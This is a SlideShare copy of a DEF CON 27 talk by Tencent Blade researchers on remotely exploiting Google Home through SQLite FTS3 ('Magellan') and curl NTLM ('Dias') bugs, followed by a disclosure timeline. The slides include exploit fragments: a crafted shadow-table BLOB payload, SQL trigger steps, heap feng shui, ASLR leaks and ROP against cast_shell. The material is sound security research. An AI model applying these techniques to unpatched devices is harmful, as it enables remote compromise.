SlideShare uma empresa Scribd logo
1 de 55
Baixar para ler offline
Breaking Google Home: Exploit It with
SQLite(Magellan)
Wenxiang Qian, Yuxiang Li, Huiyu Wu
Tencent Blade Team
About Us
Wenxiang Qian (@leonwxqian)
Senior security researcher at Tencent Blade Team. Focus on browser security & IoT security
Interested in code auditing. Security book author. Speaker of DEF CON 26, CSS 2019
YuXiang Li (@Xbalien29)
Senior security researcher at Tencent Blade Team. Focus on mobile security and IoT security
Reported multiple vulnerabilities of Android. Speaker of HITB AMS 2018, XCON 2018, CSS 2019
HuiYu Wu (@NickyWu_)
Senior security researcher at Tencent Blade Team
Bug hunter, Winner of GeekPwn 2015. Speaker of DEF CON 26 , HITB 2018 AMS and POC 2017
About Tencent Blade Team
• Founded by Tencent Security Platform Department in 2017
• Focus on security research in the areas of AIoT, Mobile devices, Cloud virtualization,
Blockchain, etc
• Reported 200+ vulnerabilities to vendors such as Google, Apple, Microsoft, Amazon
• We talked about how to break Amazon Echo at DEF CON 26
• Blog: https://blade.tencent.com
Agenda
• The Security Overview of Google Home
• Fuzzing and Manual Auditing SQLite & Curl
• Remote Exploiting Google Home with Magellan
• Conclusion
The Security Overview of
Google Home
Aug 2018 DEFCON26
“Breaking Smart Speaker : We are Listening to You”
Amazon Echo - Remote Code Execution
XiaoMi AI Speaker – Remote full Control (root)
https://voicebot.ai/2019/02/20/amazon-increases-global-smart-speaker-sales-share-in-
q4-2018-while-googles-rise-narrows-the-gap-and-apple-declines/
Global Smart Speaker Sales Share in Q4 2018
About Google Home
Hardware Overview
• Google Home family uses similar
hardware (except Google Home Hub)
• Did not find the hardware interface for
debugging and flashing
• We started to extract firmware directly
from NAND Flash chip
Google Home Mini Teardown
Dump Firmware From NAND Flash
Dump Firmware From NAND Flash
BGA67 ADAPTER PCB
Dump Firmware From NAND Flash
RT809H Universal Programmer
Data Extraction From Raw
NAND Flash Image
System Overview
• Built-in Lite Chrome OS system(Like Chromecast)
• The main functions are implemented by Chrome Browser (cast_shell)
• The system update time of Google Home will be slower than that of
Chrome browser for about a month
The Security Overview of Google Home
• "Bad or Good" OTA Mechanism
• Part of source code is available for download
• Download OTA firmware via HTTP request
• It's easy to simulate an upgrade request (TLS)
https://drive.google.com/open?id=0B3j4zj2IQp7MZkplRzRvcERtaU0
The Security Overview of Google Home
• Secure Boot (worth learning)
• Bootloader verify (SHA256 + RSA)
• Looks like there is no unlock (boot.img)
• Enable Dm-verity to verify integrity (system.img)
The Security Mechanism of Cast_shell
• Sandbox mechanism
✓Setuid
✓User namespaces
✓Seccomp-BPF
• Exploitation Mitigation
✓ASLR
✓NX
✓Stack Canary
The Attack Surface of Google Home
• Network
✓Http Server (8008) - CastHack
✓Cast Protocol (8009): Push a specific web page to the Chrome browser
• Wireless
✓Wi-Fi or BLE Firmware - Researching Marvell Avastar Wi-Fi
• Hardware
✓USB – HubCap (Chromecast Root @fail0verflow)
✓Modify Firmware by Soldering NAND Flash – Bypassing secure boot?
Extending the Attack Surface
• The Overview of CAST Protocol
• Google Cast is designed for TV, movies, music, and more
• Developers can develop the CAST APP and publish it to Application Store
• Including sender (Mobile devices or Chrome) and receiver (Google Home)
Extending the Attack Surface
• Attack Surface of CAST Protocol
• The CAST apps can be any webpage
• The apps in the app store may be malicious
• Sender can directly trigger CAST Protocol
Remote Attack Surface:
Converting an attack on a Google Home into an attack on a browser
Extending the Attack Surface
• Detailed Steps: Extending the Remote Attack Surface
• Register as a developer and post a malicious app
• Remotely trigger Google Home to load malicious app
✓ Inducing victims to visit malicious sender URLs via Chrome
✓ Sending the cast protocol to launch APP in LAN
• RCE in Google Home's renderer
locaton.href=“http://192.
168.1.56/exp.html”
So now we only need a Chrome
RCE vulnerability to exploit
Google Home
Fuzzing and Manual Auditing
SQLite & Curl
Why SQLite and Curl?
• 3rd party libraries are always sweet.
• Almost every device had them installed, hadn’t they?
• Google Home or Google Chrome are using them too.
• WebSQL makes remote attack via SQLite available in Chrome
• Curl was born to be working remotely
Previous Researches
• Michał Zalewski -- AFL: Finding bugs in SQLite, the easy way
• http://lcamtuf.blogspot.jp/2015/04/finding-bugs-in-sqlite-easy-way.html
• BH US-17 -- “Many Birds, One Stone: Exploiting a Single SQLite
Vulnerability Across Multiple Software”
• https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-
Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-
Multiple-Software.pdf
Fuzzing the SQLite
• Nothing interesting, but crashes of triggering asserts
• Accidently noticed Magellan when debugging those crashes
• Raw testcase triggers the crash (beautified):
• What’s those a02_content , a02_segdir, a02_segments?
Shadow Tables
• %_content
%_segdir
%_segments
%_stat
%_docsize for FTS3/4, % is replaced by table name
• Accessible (read, write, delete) like standard tables
• FTS3/4/5, RTREE use shadow tables to store content
Wait… Is that a Backing-store?
BLOBs
• Representation of binary data:
x'41414242' ='AABB'
• In shadow tables …
• They are serialized data structures (BTREEs…)
• Wrong “deserialization” are often the causes of problems
Nodes (BLOBs) Definitions
• Segment B-Tree Leaf Nodes
• Doclist Format
Overview of `Magellan`
• CVE-2018-20346 `merge` of FTS3 caused memory corruption
• CVE-2018-20506 `match` of FTS3 caused memory corruption
• CVE-2018-20505 `merge` of FTS3 caused memory corruption(2)
• SQLite ticket: 1a84668dcfdebaf1
Assertion fault due to malformed PRIMARY KEY
• Information and restrictions: https://blade.tencent.com/magellan/
CVE-2018-20346
• In fts3AppendToNode
• Trigger it by “merge”:
INSERT INTO X(X) VALUES (“merge=1,2”)
• Function tries to append a node
to another
• Nodes are parsed from BLOBs
• The memcpy in LN310 seems
vulnerable.
CVE-2018-20346
• fts3TruncateNode get the node being processed
• Node information is returned in reader object
• Easily bypass fts3TermCmp check by modifying the shadow table
• Control aDoclist and nDoclist in reader, to trigger the problem
• It is easy.
int fts3AppendToNode(…){
…
memcpy(target, aDoclist, nDoclist);
}
CVE-2018-20346
• In nodeReaderNext
• LN114: iOff is a “pointer” to BLOB
• LN120: Read compromised data,
make iOff go beyond the current
blob data.
• LN122: nDoclist is controllable.
• LN123: Got an aDoclist points
to the last char of the blob after
nodeReaderNext finishes.
• LN129: assert won’t stop the iOff
• Now we’ve controlled nDoclist and
aDoclist!
LengthDataLength……
iOff @ LN120
Boundary
CVE-2018-20346
• Back to fts3AppendToNode
• aDocList and nDoclist is controlled
• LN310:
• Heap buffer overflow,
if nDoclist > align(buflen(pNode->a))
• Raw memory leak (OOB Read),
if nDoclist < align(buflen(pNode->a))
CVE-2018-20506 & 20505
• 20506: In fts3ScanInteriorNode
• 20505: In fts3SegReaderNext
• Modify BLOBs in shadow tables to mislead the code flow
• Integer overflow to bypass the check
• Memory corruption or leaking raw memory
• A little hard to exploit because the unstable overwritten position
Auditing the libcurl
• Target: Remote code execution
• Find BIG functions (which often have poor coding practice)
• Protocol that communicates with remote machine (attacker)
• Attack vector: The simpler, the better.
• Protocols fulfill our requirements:
FTP, HTTPS, NTLM over HTTP, SMTP, POP3, …
Overview of `Dias`
• CVE-2018-16890 NTLM Type-2 Message Information Leak
Leaking at most 64KB client memory per request to attacker, “client version
Heartbleed”.
• CVE-2019-3822 NTLM Type-3 Message Stack Buffer Overflow
Allow attacker to leak client memory via Type-3 response, or performs
remote code execution through stack or heap buffer overflow.
“This is potentially in the worst case a remote code execution risk. I
think this might be the worst security issue found in curl in a long
time.” (Daniel’s blog)
• LN183: Curl_read32_le
Set target_info_offset with
a very large value.
• LN185: Integer overflow
• LN196: memcpy copies
data OOB (backwards).
Leaking at most 64KB data
per request to attacker.
Eg: offset=0xffff0001 (-65535)
len=0xffff (65535)
CVE-2018-16890
CVE-2019-3822
• LN519: ntlmbuf is a stack
variant.
• LN590: Read ntresplen
from Type-2 response.
• LN779:
• LN781: Stack buffer overflow.
if(UNSIGNED < (SIGNED - UNSIGNED)) { … }
→ Inexplicit type cast (from signed to unsigned)
if(UNSIGNED < (UNSIGNED - UNSIGNED)) { … }
CVE-2019-3822
• Lots of stack variables
following by ntlmbuf
• Stack buffer overflow happens
in the middle of the function
MSVC
GCC
Overwrite direction is related to compiler
LN492 LN862LN781
Heap/Stack operations x 5
Many function calls uses stack variables here…
Remote Exploiting Google
Home with Magellan
Exploiting the Magellan on Google Home
• Review the details of CVE-2018-20346
• Control pNode->a, pNode->n, aDoclist, nDoclist, via "update x_segdir set root=x'HEX'"
00 04 31 32 33 34 02 00 00 00 01 01 01 00 01 01 01 01 00 80 02 aa aa aa aa aa
pNode->a[]: Heap Fengshui
aDoclist[]: Overflow or Leak Memory
nDoclist: 256 (Varint)
80 02 01 01
pNode->n: Buffer offset
Exploiting the Magellan on Google Home
• Available Function Pointer
• simple_tokenizer is a structure on the heap
✓ create virtual table x using fts3 (a, b);
• The tokenizer's callback looks interesting
simple_tokenizer
base
delim
sqlite3_tokenizer
pModule
tokenizer_module
iVersion
xCreate
xDestroy
xOpen
…
Callback function
(simple_tokenizer *) sqlite3_malloc(sizeof(*t));
Exploiting the Magellan on Google Home
• PC Hijacking
• Operating FTS3 table after heap overflow
• Hijacking before memory free
static int fts3TruncateSegment( Fts3Table *p, sqlite3_int64 iAbsLevel, int iIdx, const char *zTerm, int nTerm){
……
if( rc==SQLITE_OK ){
sqlite3_stmt *pChomp = 0;
rc = fts3SqlStmt(p, SQL_CHOMP_SEGDIR, &pChomp, 0);
if( rc==SQLITE_OK ){
……
rc = sqlite3_reset(pChomp);
sqlite3_bind_null(pChomp, 2);
}
}
sqlite3_free(root.a);
sqlite3_free(block.a);
}
Using the SQL TRIGGER to perform fts3 operations before
executing SQL_CHOMP_SEGDIR
Exploiting the Magellan on Google Home
• Heap Fengshui
• tmalloc as the heap management algorithm
• Memory layout by operating fts3 tables
• Hijacking PC via SQL TRIGGER
Create multiple fts3 tables
Drop the previous fts3 table
Reassigning payload
Triggers the operation of fts3
Hijacking PC
Overwriting the simple_tokenizer
Calling xOpen via SQL TRIGGER
R0 / R11 / PC can be controlled
Exploiting the Magellan on Google Home
• Bypass ASLR
• Try to adjust the nDoclist, pNode->a and leak the memory after heap
• Leaking the address of cast_shell (For ROP gadgets)
• Leaking the address of last heap (For heap spray)
Exploiting the Magellan on Google Home
• Heap Spray
• Insert into the table
• ROP
• Cast_shell's gadget
RCE in Google Home's renderer
Exploiting the Magellan on Google Home
Hijacking PC via controlled R0/R11
Running shellcode to modify "navigator.appName“ to AAAA
• RCE in Google Home's renderer
APPID=1, Leak.html
APPID=2, Exp.html
1. Launch APPID=1
2. Loading Leak.html
3. Launch APPID=2
4. Loading Exp.html
Cast Hack
UPnP forwarding
Attacker Attacker
Exploiting the Magellan on Google Home
Visiting Sender URL
Conclusion
Magellan
• Timeline
• Enhancements
• SQLite introduced defense in-depth flag SQLITE_DBCONFIG_DEFENSIVE, disallowing modify shadow
tables from untrusted source.
• SQLITE_DBCONFIG_DEFENSIVE (default OFF in sqlite, for backwards compatibility)
• Good News: default ON in Chrome from commit a06c5187775536a68f035f16cdb8bc47b9bfad24
• Google refactored the structured fuzzer, found many vulnerabilities in SQLite.
1st Nov
Reported to Google
3rd Nov
Reported to SQLite
5th Nov
Fixed by SQLite 3.25.3
28th Nov
Fixed in Chromium
Defense In-Depth by SQLite
1st Dec
SQLite 3.26.0 w/
Defense In-Depth
3rd Dec
Chrome 71.0.3578.80 released
20th Dec
$10337 Reward by Google
21st Dec
CVEs assigned
Dias
• Timeline
31st Dec
Reported to Curl
2nd Jan
Confirmed by Curl
3rd Jan
1 of 2 vulns fixed
16th Jan
2 of 2 vulns fixed
30th Jan
CVEs assigned
6th Feb
Curl 7.64.0 released
8th Feb
Security page released
Responsible Disclosure
• Notified CNCERT to urge vendors disable the vulnerable FTS3 or WebSQL
before the patch comes out (if they don’t use these features).
• Notified security team of Apple, Intel, Facebook, Microsoft, etc. about how to
fix the problem or how to mitigate the threats in some of their products.
Security Advice
• Enhance your system with the newest available defense in-depth mechanism in time
• Keep your third-party libraries up-to-date
• Improve the quality of security auditing and testing of third-party library
• Introduce security specifications into development and testing
THANK YOU
https://blade.tencent.com

Mais conteúdo relacionado

Mais procurados

Shmoocon Epilogue 2013 - Ruining security models with SSH
Shmoocon Epilogue 2013 - Ruining security models with SSHShmoocon Epilogue 2013 - Ruining security models with SSH
Shmoocon Epilogue 2013 - Ruining security models with SSH
Andrew Morris
 
BlueHat v17 || A Lustrum of Malware Network Communication: Evolution and Insi...
BlueHat v17 || A Lustrum of Malware Network Communication: Evolution and Insi...BlueHat v17 || A Lustrum of Malware Network Communication: Evolution and Insi...
BlueHat v17 || A Lustrum of Malware Network Communication: Evolution and Insi...
BlueHat Security Conference
 

Mais procurados (20)

"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
 
JWT: jku x5u
JWT: jku x5uJWT: jku x5u
JWT: jku x5u
 
Building an Empire with PowerShell
Building an Empire with PowerShellBuilding an Empire with PowerShell
Building an Empire with PowerShell
 
Internal Pentest: from z3r0 to h3r0
Internal Pentest: from z3r0 to h3r0Internal Pentest: from z3r0 to h3r0
Internal Pentest: from z3r0 to h3r0
 
Invoke-Obfuscation DerbyCon 2016
Invoke-Obfuscation DerbyCon 2016Invoke-Obfuscation DerbyCon 2016
Invoke-Obfuscation DerbyCon 2016
 
Script Fragmentation - Stephan Chenette - OWASP/RSA 2008
Script Fragmentation - Stephan Chenette - OWASP/RSA 2008Script Fragmentation - Stephan Chenette - OWASP/RSA 2008
Script Fragmentation - Stephan Chenette - OWASP/RSA 2008
 
Shmoocon Epilogue 2013 - Ruining security models with SSH
Shmoocon Epilogue 2013 - Ruining security models with SSHShmoocon Epilogue 2013 - Ruining security models with SSH
Shmoocon Epilogue 2013 - Ruining security models with SSH
 
BlueHat v17 || A Lustrum of Malware Network Communication: Evolution and Insi...
BlueHat v17 || A Lustrum of Malware Network Communication: Evolution and Insi...BlueHat v17 || A Lustrum of Malware Network Communication: Evolution and Insi...
BlueHat v17 || A Lustrum of Malware Network Communication: Evolution and Insi...
 
Fireshark - Brucon 2010
Fireshark - Brucon 2010Fireshark - Brucon 2010
Fireshark - Brucon 2010
 
The Travelling Pentester: Diaries of the Shortest Path to Compromise
The Travelling Pentester: Diaries of the Shortest Path to CompromiseThe Travelling Pentester: Diaries of the Shortest Path to Compromise
The Travelling Pentester: Diaries of the Shortest Path to Compromise
 
Flaying the Blockchain Ledger for Fun, Profit, and Hip Hop
Flaying the Blockchain Ledger for Fun, Profit, and Hip HopFlaying the Blockchain Ledger for Fun, Profit, and Hip Hop
Flaying the Blockchain Ledger for Fun, Profit, and Hip Hop
 
A Case Study in Attacking KeePass
A Case Study in Attacking KeePassA Case Study in Attacking KeePass
A Case Study in Attacking KeePass
 
I See You
I See YouI See You
I See You
 
I hunt sys admins 2.0
I hunt sys admins 2.0I hunt sys admins 2.0
I hunt sys admins 2.0
 
Bridging the Gap
Bridging the GapBridging the Gap
Bridging the Gap
 
Outlook and Exchange for the bad guys
Outlook and Exchange for the bad guysOutlook and Exchange for the bad guys
Outlook and Exchange for the bad guys
 
PowerShell for Cyber Warriors - Bsides Knoxville 2016
PowerShell for Cyber Warriors - Bsides Knoxville 2016PowerShell for Cyber Warriors - Bsides Knoxville 2016
PowerShell for Cyber Warriors - Bsides Knoxville 2016
 
I Hunt Sys Admins
I Hunt Sys AdminsI Hunt Sys Admins
I Hunt Sys Admins
 
Defcon CTF quals
Defcon CTF qualsDefcon CTF quals
Defcon CTF quals
 
WMI for Penetration Testers - Arcticcon 2017
WMI for Penetration Testers - Arcticcon 2017WMI for Penetration Testers - Arcticcon 2017
WMI for Penetration Testers - Arcticcon 2017
 

Semelhante a DEF CON 27 - WENXIANG QIAN and YUXIANG LI HUIYU - breaking google home exploit it with sq lite magellan

Breaking Smart Speakers: We are Listening to You.
Breaking Smart Speakers: We are Listening to You.Breaking Smart Speakers: We are Listening to You.
Breaking Smart Speakers: We are Listening to You.
Priyanka Aash
 
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoTCSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CanSecWest
 

Semelhante a DEF CON 27 - WENXIANG QIAN and YUXIANG LI HUIYU - breaking google home exploit it with sq lite magellan (20)

Breaking Smart Speakers: We are Listening to You.
Breaking Smart Speakers: We are Listening to You.Breaking Smart Speakers: We are Listening to You.
Breaking Smart Speakers: We are Listening to You.
 
Security research over Windows #defcon china
Security research over Windows #defcon chinaSecurity research over Windows #defcon china
Security research over Windows #defcon china
 
Webinar–Mobile Application Hardening Protecting Business Critical Apps
Webinar–Mobile Application Hardening Protecting Business Critical AppsWebinar–Mobile Application Hardening Protecting Business Critical Apps
Webinar–Mobile Application Hardening Protecting Business Critical Apps
 
Offensive Python for Pentesting
Offensive Python for PentestingOffensive Python for Pentesting
Offensive Python for Pentesting
 
Total E(A)gression defcon
Total E(A)gression   defconTotal E(A)gression   defcon
Total E(A)gression defcon
 
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
 
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
 
Security events in 2014
Security events in 2014Security events in 2014
Security events in 2014
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Can We Prevent Use-after-free Attacks?
Can We Prevent Use-after-free Attacks?Can We Prevent Use-after-free Attacks?
Can We Prevent Use-after-free Attacks?
 
Protect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying TechniquesProtect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying Techniques
 
Security Vulnerabilities: How to Defend Against Them
Security Vulnerabilities: How to Defend Against ThemSecurity Vulnerabilities: How to Defend Against Them
Security Vulnerabilities: How to Defend Against Them
 
Ruxmon feb 2013 what happened to rails
Ruxmon feb 2013   what happened to railsRuxmon feb 2013   what happened to rails
Ruxmon feb 2013 what happened to rails
 
Being HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on PurposeBeing HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on Purpose
 
OWASP Appsec USA 2014 Talk "Pwning the Pawns with Wihawk" Santhosh Kumar
OWASP Appsec USA 2014 Talk "Pwning the Pawns with Wihawk" Santhosh Kumar OWASP Appsec USA 2014 Talk "Pwning the Pawns with Wihawk" Santhosh Kumar
OWASP Appsec USA 2014 Talk "Pwning the Pawns with Wihawk" Santhosh Kumar
 
Hacktivity2014: Virtual Machine Introspection to Detect and Protect
Hacktivity2014: Virtual Machine Introspection to Detect and ProtectHacktivity2014: Virtual Machine Introspection to Detect and Protect
Hacktivity2014: Virtual Machine Introspection to Detect and Protect
 
Us 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimesUs 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimes
 
DEF CON 27 - workshop - RICHARD GOLD - mind the gap
DEF CON 27 - workshop - RICHARD GOLD - mind the gapDEF CON 27 - workshop - RICHARD GOLD - mind the gap
DEF CON 27 - workshop - RICHARD GOLD - mind the gap
 
Automating cloud security - Jonny Griffin
Automating cloud security - Jonny GriffinAutomating cloud security - Jonny Griffin
Automating cloud security - Jonny Griffin
 
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoTCSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
 

Mais de Felipe Prado

Mais de Felipe Prado (20)

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got ants
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryption
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a government
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interface
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud security
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portals
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devices
 

Último

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Último (20)

Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
